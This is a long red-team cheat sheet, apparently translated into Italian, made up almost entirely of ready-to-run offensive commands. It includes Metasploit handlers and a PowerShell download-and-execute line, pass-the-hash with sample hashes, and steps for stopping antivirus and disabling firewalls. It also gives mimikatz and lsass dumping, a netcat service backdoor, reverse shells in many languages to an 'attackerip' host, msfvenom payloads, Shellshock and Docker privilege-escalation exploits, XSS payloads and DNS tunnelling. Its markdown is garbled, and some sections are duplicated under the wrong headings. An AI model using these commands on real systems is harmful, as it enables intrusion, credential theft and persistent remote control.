opzioni di listner di metasploit``` msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_http payload => windows/meterpreter/reverse_http msf exploit(handler) > set lhost 192.168.1.110 lhost => 192.168.1.110 msf exploit(handler) > set lport 2286 lport => 2286 msf exploit(handler) > set ExitOnSession false ExitOnSession => false msf exploit(handler) > set SessionCommunicationTimeout 0 SessionCommunicationTimeout => 0 msf exploit(handler) > exploit -j

Configura Empire per inviare l'agente a Metasploit```
use module code_execution/shellcode_inject
set Host <ip>
set Port <port>
execute

DeathStar```

Start the Empire console and RESTful API

python empire --rest --username empireadmin --password Password123

Poi prendi, configura ed esegui DeathStar:```
git clone https://github.com/byt3bl33d3r/DeathStar
# Death Star is written in Python3
pip3 install -r requirements.txt
./DeathStar.py

Comandi di Windows cmd.exe

Aggiungi utente```

net user /add [username] [password]

## Aggiungi utente come amministratore```
net localgroup administrators [username] /add

Aggiungi utente al gruppo RDP```

NET LOCALGROUP "Remote Desktop Users" keyoke /ADD

# PTH_winexe : apri shell senza psexec
Esempio :<br>```
pth-winexe -U DOMAIN/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //IP_Server cmd.exe

Esempio reale :
``` pth-winexe -U LAB/Administrator%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //192.168.1.44 cmd.exe

# Da PTH-winexe a Meterpreter```
msf exploit(web_delivery) > use exploit/multi/script/web_delivery 
msf exploit(web_delivery) > set target 2
target => 2         
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set L
set LHOST         set LISTENERCOMM  set LOGLEVEL      set LPORT         
msf exploit(web_delivery) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf exploit(web_delivery) > set LPORT 1233
LPORT => 1233
msf exploit(web_delivery) > exploit 
[*] Exploit running as background job 0.

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:1233 
[*] Using URL: http://0.0.0.0:8080/gOAr7kQOTh
msf exploit(web_delivery) > [*] Local IP: http://10.2.15.194:8080/gOAr7kQOTh
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $j=new-object net.webclient;$j.proxy=[Net.WebRequest]::GetSystemWebProxy();$j.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $j.downloadstring('http://127.0.0.1:8080/gOAr7kQOTh');

Copia il comando powershell nel cmd aperto con pth_winexe

Active Directory```

current domain info

domain trusts

(System.DirectoryServices.ActiveDirectory.Domain::GetCurrentDomain()).GetAllTrustRelationships()

current forest info

get forest trust relationships

(System.DirectoryServices.ActiveDirectory.Forest::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

get DCs of a domain

nltest /dclist:offense.local net group "domain controllers" /domain

get DC for currently authenticated session

nltest /dsgetdc:offense.local

get domain trusts from cmd shell

nltest /domain_trusts

get user info

nltest /user:"spotless"

get DC for currently authenticated session

set l

get domain name and DC the user authenticated to

klist

get all logon sessions. Includes NTLM authenticated sessions

klist sessions

kerberos tickets for the session

klist

cached krbtgt

klist tgt

whoami on older Windows systems

set u

## BloodHound```
powershell-import /path/to/BloodHound.ps1
powershell Get-BloodHoundData | Export-BloodHoundCSV

Elusione di Symantec AV```

During our latest pentest, we faced shitty AV problem since we couldn't get any meterpreter session with psexec cuz of Symatec AV, So we would like to share our solution for this problem: First We Need to connect with the local admin as system using pth (local hash extracted with bkhive and samdump2)

$./pth-winexe -U DOMAIN.COM/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //10.0.42.154 cmd --system

Then let's Stop the AV Service

cd "C:\Program Files\Symantec\Symantec Endpoint Protection" smc.exe -stop

Nice now we got rid of the AV, however our payload and IP was still blocked since they use an IPS so we used a reverse_https listener and psexec_psh to bypass it: mohamed@KeyStrOke:~$ msfconsole use exploit/windows/smb/psexec_psh set payload windows/meterpreter/reverse_https set StageEncoder x86/shikata_ga_nai set EnableStageEncoding true set SMBUSER USERNAME set SMBPASS cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb set lhost IP set lport 443 exploit -j and BOOM :D Server username: NT AUTHORITY\SYSTEM Enjoy your Session

# Kiwi raccogli credenziali```
meterpreter > load kiwi
meterpreter > cred_all

Rete

Nmap Scansione Completa delle Vulnerabilità Web```

cd /usr/share/nmap/scripts/ wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz nmap -sS -sV --script=vulscan/vulscan.nse target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target nmap -sV --script=vuln target nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target

### Dirb Dir Bruteforce```
dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt

Nikto scanner per server web```

nikto -C all -h http://IP

### WordPress Scanner```
git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

Fingerprinting HTTP```

wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip cd httprint_301/linux/ ./httprint -h http://IP -s signatures.txt

### Scanner per WordPress```
git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

SKIP Fish Scanner```

skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP

### Scansione delle porte Nmap```
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
2)fargement
3)data packed – like orginal one not scan packet
4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target
5)nmap –source-port 53 target
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP)
nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)
nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
nmap -sA -PN -sN target
nmap -sS -sV -T5 -F -A -O target (version detection)
nmap -sU -v target (Udp)
nmap -sU -P0 (Udp)
nmap -sC 192.168.31.10-12 (all scan default)

NC Scansione```

nc -v -w 1 target -z 1-1000 for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done

### Unicornscan```
us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535

-H resolve hostnames during the reporting phase
-m scan mode (sf - tcp, U - udp)
-Iv - verbose

Fingerprinting del sistema operativo tramite Xprobe2```

xprobe2 -v -p tcp:80:open IP

### Enumerazione Samba```
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

Enumerazione SNMP```

snmpget -v 1 -c public IP snmpwalk -v 1 -c public IP snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP

### Comandi utili di Windows```
net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits

PuTTY Link tunnel```

Forward remote port to local address cmd.exe /c echo y | .\plink.exe -P 22 -l -pw "password" -R PORT_TO_FORWARD:127.0.0.1:ATTACKER_PORT 2>&1

### Meterpreter portfwd```
# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# forward remote port to local address
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389

Abilita accesso RDP```

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable

### Disattivare il firewall di Windows```
netsh firewall set opmode disable

Meterpreter VNC\RDP```

git clone https://github.com/gentilkiwi/mimikatz.git privilege::debug sekurlsa::logonPasswords full

### Mimikatz uso```
net user test 1234 /add
net localgroup administrators test /add

Passaggio dell'Hash```

git clone https://github.com/byt3bl33d3r/pth-toolkit pth-winexe -U hash //IP cmd

apt-get install freerdp-x11 xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP

meterpreter > run post/windows/gather/hashdump Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit meterpreter > shell

### Cracking delle password con Hashcat```
hashcat -m 400 -a 0 hash /root/rockyou.txt

Esempi di Netcat```

c:> nc -l -p 31337 #nc 192.168.0.10 31337 c:> nc -v -w 30 -p 31337 -l < secret.txt #nc -v -w 2 192.168.0.10 31337 > secret.txt

### Acquisizione del banner con NC```
nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: www.example.com
<enter>
<enter>

Shell inversa di Windows```

c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80

nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

### Trova i file SUID\SGID di root```
# Find SUID root files
find / -user root -perm -4000 -print

# Find SGID root files:
find / -group root -perm -2000 -print

# Find SUID and SGID files owned by anyone:
find / -perm -4000 -o -perm -2000 -print

# Find files that are not owned by any user:
find / -nouser -print

# Find files that are not owned by any group:
find / -nogroup -print

# Find symlinks and what they point to:
find / -type l -ls

Shell Python```

python -c 'import pty;pty.spawn("/bin/bash")'

### Python\Ruby\PHP Server HTTP```
python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888

Ottieni i PIDs del processo```

fuser -nv tcp 80 fuser -k -n tcp 80

### Hydra rdp Forza Bruta```
hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp

Monta condivisione Windows remota```

smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw

### Compilare Exploit in Kali```
gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

Compilare exploit di Windows su Kali```

c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80

nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

### Shell inversa di Window```
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe

Comandi NASM```

nasm -f bin -o payload.bin payload.asm nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload

### Pivotaggio SSH```
ssh -D 127.0.0.1:1080 -p 22 user@IP
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target

Pivoting SSH da una rete all'altra```

ssh -D 127.0.0.1:1080 -p 22 user1@IP1 Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2 Add socks4 127.0.0.1 1081 in /etc/proxychains.conf proxychains commands target

### Pivoting con metasploit```
route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E

or

# https://www.offensive-security.com/metasploit-unleashed/pivoting/
meterpreter > ipconfig
IP Address  : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0          255.255.255.0      Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address  : 10.1.13.2

Ricerca in Exploit-DB utilizzando file CSV```

git clone https://github.com/offensive-security/exploit-database.git cd exploit-database ./searchsploit –u ./searchsploit apache 2.2 ./searchsploit "Linux Kernel"

### MSF Payloads```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c

MSF Linux Reverse Meterpreter Binario```

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=443 -e -f elf -a x86 --platform linux -o shell

### MSF Reverse Shell (C Shellcode)```
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c

Script Python per MSF Reverse Shell```

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py

### MSF Reverse ASP Shell```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

MSF Reverse Bash Shell```

msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -o shell.sh

### MSF Shell PHP Inversa```
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php

MSF Reverse Win Bin```

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -a x86 --platform win -o shell.exe

### Comandi di Sicurezza Linux```
# find programs with a set uid bit
find / -uid 0 -perm -4000

# find things that are world writable
find / -perm -o=w

# find names with dots and spaces, there shouldn’t be any
find / -name " " -print
find / -name ".." -print
find / -name ". " -print
find / -name " " -print

# find files that are not owned by anyone
find / -nouser

# look for files that are unlinked
lsof +L1

# get information about procceses with open ports
lsof -i

# look for weird things in arp
arp -a

# look at all accounts including AD
getent passwd

# look at all groups and membership including AD
getent group

# list crontabs for all users including AD
for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done

# generate random passwords
cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4

# find all immutable files, there should not be any
find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’

# fix immutable files
chattr -i file

Comandi per Exploit di Buffer Overflow su Windows```

msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c

COMMONLY USED BAD CHARACTERS: \x00\x0a\x0d\x20 For http request \x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_)

Useful Commands:

pattern create pattern offset (EIP Address) pattern offset (ESP Address) add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )

!pvefindaddr pattern_create 5000 !pvefindaddr suggest !pvefindaddr modules !pvefindaddr nosafeseh

!mona config -set workingfolder C:\Mona%p !mona config -get workingfolder !mona mod !mona bytearray -b "\x00\x0a" !mona pc 5000 !mona po EIP !mona suggest

### SEH - Gestione strutturata delle eccezioni```
# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH
!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)

ROP (DEP)```

https://en.wikipedia.org/wiki/Return-oriented_programming

https://en.wikipedia.org/wiki/Data_Execution_Prevention

!mona modules !mona ropfunc -m *.dll -cpb "\x00\x09\x0a" !mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)

### ASLR - Randomizzazione del layout dello spazio degli indirizzi```
# https://en.wikipedia.org/wiki/Address_space_layout_randomization
!mona noaslr

Tecniche EGG Hunter```

https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/

http://www.fuzzysecurity.com/tutorials/expDev/4.html

!mona jmp -r esp !mona egg -t lxxl \xeb\xc4 (jump backward -60) buff=lxxllxxl+shell !mona egg -t 'w00t'

### Comandi del debugger GDB```
# Setting Breakpoint
break *_start

# Execute Next Instruction
next
step
n
s

# Continue Execution
continue
c

# Data
checking 'REGISTERS' and 'MEMORY'

# Display Register Values: (Decimal,Binary,Hex)
print /d –> Decimal
print /t –> Binary
print /x –> Hex
O/P :
(gdb) print /d $eax
$17 = 13
(gdb) print /t $eax
$18 = 1101
(gdb) print /x $eax
$19 = 0xd
(gdb)

# Display values of specific memory locations
command : x/nyz (Examine)
n –> Number of fields to display ==>
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)

BASH Reverse Shell```

bash -i >& /dev/tcp/X.X.X.X/443 0>&1

exec /bin/bash 0&0 2>&0 exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done exec 5<>/dev/tcp/attackerip/4444

cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done

/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1 /bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1

### PERL Shell Inversa```
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

# for win platform
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

RUBY Reverse Shell```

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

for win platform

ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

### PYTHON Reverse Shell```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP Reverse Shell```

php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'

### JAVA Reverse Shell```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

NETCAT Shell Inversa```

nc -e /bin/sh attackerip 4444 nc -e /bin/sh 192.168.37.10 443

If the -e option is disabled, try this

mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe

/bin/sh | nc attackerip 443 rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/

If you have the wrong version of netcat installed, try

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f

### TELNET Shell inversa```
# If netcat is not available or /dev/tcp
mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe

XTERM Reverse Shell```

Start an open X Server on your system (:1 – which listens on TCP port 6001)

apt-get install xnest Xnest :1

Then remember to authorise on your system the target IP to connect to you

xterm -display 127.0.0.1:1

Run this INSIDE the spawned xterm on the open X Server

xhost +targetip

Then on the target connect back to the your X Server

xterm -display attackerip:1 /usr/openwin/bin/xterm -display attackerip:1 or $ DISPLAY=attackerip:0 xterm

### Codici Trucco XSS```
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
("< iframes > src=http://IP:PORT </ iframes >")

<script>document.location=http://IP:PORT</script>

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

";!–"<XSS>=&amp;amp;{()}

<IMG src="javascript:alert("XSS');">

<SCRIPT>alert("XSS")</SCRIPT>"">



<IMG src="https://raw.githubusercontent.com/ihebski/a-red-teamer-diaries/HEAD/jav%20ascript:alert("XSS');">

perl -e 'print "";' > out

<BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert("XSS")>

(">< iframes http://google.com < iframes >)

<BODY BACKGROUND="javascript:alert('XSS')">
<FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>
"><script >alert(document.cookie)</script>
%253cscript%253ealert(document.cookie)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E

SSH su SCTP (con Socat)```

on remote server

assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP

$ socat SCTP-LISTEN:80,fork TCP:localhost:22

localhost

replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :)

$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80

create socks proxy

replace username and -p port value as needed...

$ ssh -lusername localhost -D 8080 -p 1337

### Installare Metasploit Community Edition su Kali 2.0```
# github urls
https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run && chmod
+x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-installer.run

# create user
$ /opt/metasploit/createuser
[*] Please enter a username: root
[*] Creating user 'root' with password 'LsRRV[I^5' ...

# activate your metasploit license
https://localhost:3790

# update metasploite
$ /opt/metasploit/app/msfupdate

# use msfconsole
$ /opt/metasploit/app/msfconsole

Attraversamento NAT di Tor```

install to server

$ apt-get install tor torsocks

bind ssh to tor service port 80

/etc/tor/torrc

SocksPolicy accept 127.0.0.1 SocksPolicy accept 192.168.0.0/16 Log notice file /var/log/tor/notices.log RunAsDaemon 1 HiddenServiceDir /var/lib/tor/ssh_hidden_service/ HiddenServicePort 80 127.0.0.1:22 PublishServerDescriptor 0 $ /etc/init.d/tor start $ cat /var/lib/tor/ssh_hidden_service/hostname 3l5zstvt1zk5jhl662.onion

ssh connect from client

$ apt-get install torsocks $ torsocks ssh [email protected] -p 80

### Forzatura bruta DNS con fierce```
# http://ha.ckers.org/fierce/
$ ./fierce.pl -dns example.com
$ ./fierce.pl –dns example.com –wordlist myWordList.txt

Metagoofil strumento di raccolta metadati```

http://www.edge-security.com/metagoofil.php

#automate search engine document retrieval and analysis. It also has the capability to provide MAC

addresses, username listings, and more

$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html

### Una migliore strategia di scansione NMAP```
# A best nmap scan strategy for networks of all sizes

# Host Discovery - Generate Live Hosts List
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt

# Port Discovery - Most Common Ports
# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt

# Port Discovery - Full Port Scans (UDP is very slow)
$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt

# Print TCP\UDP Ports
$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
$ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'

# Detect Service Version
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt

# Operating System Scan
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt

# OS and Service Detect
$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt

Nmap – Tecniche per evitare i firewall```

fragmentation

$ nmap -f

change default MTU size number must be a multiple of 8 (8,16,24,32 etc)

$ nmap --mtu 24

Generates a random number of decoys

$ nmap -D RND:10 [target]

Manually specify the IP addresses of the decoys

$ nmap -D decoy1,decoy2,decoy3 etc.

Idle Zombie Scan, first t need to find zombie ip

$ nmap -sI [Zombie IP] [Target IP]

Source port number specification

$ nmap --source-port 80 IP

Append Random Data to scan packages

$ nmap --data-length 25 IP

MAC Address Spoofing, generate different mac for host pc

$ nmap --spoof-mac Dell/Apple/3Com IP

### Sfrutta i server con Shellshock```
# A tool to find and exploit servers vulnerable to Shellshock
# https://github.com/nccgroup/shocker
$ ./shocker.py -H 192.168.56.118  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

# cat file
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

# bind shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

# reverse Shell
$ nc -l -p 443
$ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

Root con Docker```

get root with docker

user must be in docker group

ek@victum:~/docker-test$ id uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)

ek@victum:~~$ mkdir docker-test ek@victum:~~$ cd docker-test

ek@victum:~$ cat > Dockerfile FROM debian:wheezy

ENV WORKDIR /stuff

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR << EOF

ek@victum:~~$ docker build -t my-docker-image . ek@victum:~~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' ./sh whoami

root

ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'

### Tunneling su DNS per bypassare il firewall```
# Tunneling Data and Commands Over DNS to Bypass Firewalls
# dnscat2 supports "download" and "upload" commands for getting files (data and programs) to and from # the victim’s host.

# server (attacker)
$ apt-get update
$ apt-get -y install ruby-dev git make g++
$ gem install bundler
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server
$ bundle install
$ ruby ./dnscat2.rb
dnscat2> New session established: 16059
dnscat2> session -i 16059

# client (victum)
# https://downloads.skullsecurity.org/dnscat2/
# https://github.com/lukebaggett/dnscat2-powershell
$ dnscat --host <dnscat server_ip>

Compila codice assembly```

nasm -f elf32 simple32.asm -o simple32.o ld -m elf_i386 simple32.o simple32

nasm -f elf64 simple.asm -o simple.o ld simple.o -o simple

### Pivot verso la Rete Interna Tramite Shell Non Interattiva```
# generate ssh key with shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"

# add tempuser at attacker ps
$ useradd -m tempuser
